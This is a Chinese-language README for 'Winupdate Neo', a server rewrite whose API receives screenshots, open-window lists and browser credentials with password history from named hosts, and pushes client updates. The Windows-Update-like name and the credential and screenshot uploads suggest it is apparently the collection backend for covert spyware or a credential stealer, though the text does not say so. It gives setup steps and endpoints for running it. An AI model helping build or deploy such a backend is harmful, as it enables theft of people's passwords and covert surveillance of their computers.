winupdate-neo/README.md
2025-06-28 15:17:11 +08:00

189 lines
4.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Winupdate Neo
这是使用 Next.js + Prisma + PostgreSQL 重写的 Winupdate 项目的 API 部分。
## 技术栈
- **前端框架**: Next.js 15
- **数据库**: PostgreSQL + Prisma ORM
- **包管理器**: Bun
- **文件存储**: MinIO替代 GridFS
- **语言**: TypeScript
## 项目结构
```
app/
├── api/ # API 路由
│ ├── hosts/
│ │ ├── route.ts # 主机列表 API
│ │ └── [hostname]/
│ │ ├── screenshots/
│ │ │ └── route.ts # 截图上传/获取 API
│ │ ├── credentials/
│ │ │ └── route.ts # 凭据管理 API
│ │ └── time-distribution/
│ │ └── route.ts # 时间分布统计 API
│ ├── screenshots/
│ │ └── [fileId]/
│ │ └── route.ts # 截图文件服务 API
│ ├── downloads/
│ │ └── [fileId]/
│ │ └── route.ts # 文件下载 API
│ ├── version/
│ │ └── route.ts # 版本信息 API
│ └── upload/
│ └── version/
│ └── route.ts # 版本上传 API
├── api-test/ # API 测试页面
└── ... # 其他 Next.js 文件
lib/
├── prisma.ts # Prisma 客户端配置
├── config.ts # 应用配置
├── fileStorage.ts # 文件存储工具
├── middleware.ts # 中间件工具
└── push.ts # 推送通知工具
prisma/
├── schema.prisma # 数据库模式
└── migrations/ # 数据库迁移文件
```
## 快速开始
### 1. 安装依赖
```bash
bun install
```
### 2. 配置环境变量
复制 `.env.example` 文件为 `.env` 并配置相应的设置:
```bash
cp .env.example .env
```
配置文件内容示例:
```env
# Database
DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public"
# Auth
AUTH_USERNAME=admin
AUTH_PASSWORD=password
# Port
PORT=3000
# MinIO Configuration
MINIO_ENDPOINT=192.168.5.13
MINIO_PORT=9000
MINIO_USE_SSL=false
MINIO_ACCESS_KEY=your_access_key
MINIO_SECRET_KEY=your_secret_key
MINIO_BUCKET_NAME=winupdate
```
### 3. 初始化数据库
```bash
# 生成 Prisma 客户端
bun run db:generate
# 运行数据库迁移
bun run db:migrate
```
### 4. 启动开发服务器
```bash
bun run dev
```
## API 端点
### 主机管理
- `GET /api/hosts` - 获取主机列表
- `POST /api/hosts/{hostname}/screenshots` - 上传截图
- `GET /api/hosts/{hostname}/screenshots` - 获取截图记录
- `GET /api/hosts/{hostname}/time-distribution` - 获取时间分布统计
### 凭据管理
- `POST /api/hosts/{hostname}/credentials` - 上传凭据
- `GET /api/hosts/{hostname}/credentials` - 获取凭据
### 文件服务
- `GET /api/screenshots/{fileId}` - 获取截图文件
- `GET /api/downloads/{fileId}` - 下载文件
### 版本管理
- `GET /api/version` - 获取最新版本信息
- `POST /api/upload/version` - 上传新版本
## 数据库模型
### Host
- 主机基本信息hostname, lastUpdate
### Record
- 截图记录timestamp, windows, screenshots
### Window
- 窗口信息title, path, memory
### Screenshot
- 截图文件信息fileId, filename, monitorName
### Credential
- 凭据信息hostname, username, browser, url, login
### Password
- 密码历史value, timestamp
### Version
- 版本信息version, fileId, checksum, isLatest
## 与原项目的区别
1. **数据库**: 从 MongoDB 迁移到 PostgreSQL
2. **ORM**: 使用 Prisma 替代 Mongoose
3. **文件存储**: 使用本地文件系统替代 GridFS
4. **框架**: 从 Express 迁移到 Next.js API Routes
5. **包管理**: 使用 Bun 替代 npm/yarn
## 开发工具
```bash
# 数据库相关
bun run db:generate # 生成 Prisma 客户端
bun run db:migrate # 运行数据库迁移
bun run db:reset # 重置数据库
bun run db:studio # 打开 Prisma Studio
# 开发
bun run dev # 启动开发服务器
bun run build # 构建生产版本
bun run start # 启动生产服务器
bun run lint # 代码检查
```
## 注意事项
1. 文件存储在 MinIO 对象存储中,按分层结构组织
2. 需要确保 PostgreSQL 数据库和 MinIO 服务正在运行
3. 所有配置通过环境变量管理,包括数据库、认证和 MinIO 设置
4. MinIO 需要预先创建对应的 bucket
5. 推送通知功能目前只是控制台日志,可以根据需要集成真实的推送服务
## API 兼容性
这个重写版本保持了与原始 Express 应用相同的 API 接口,确保客户端代码无需修改即可使用。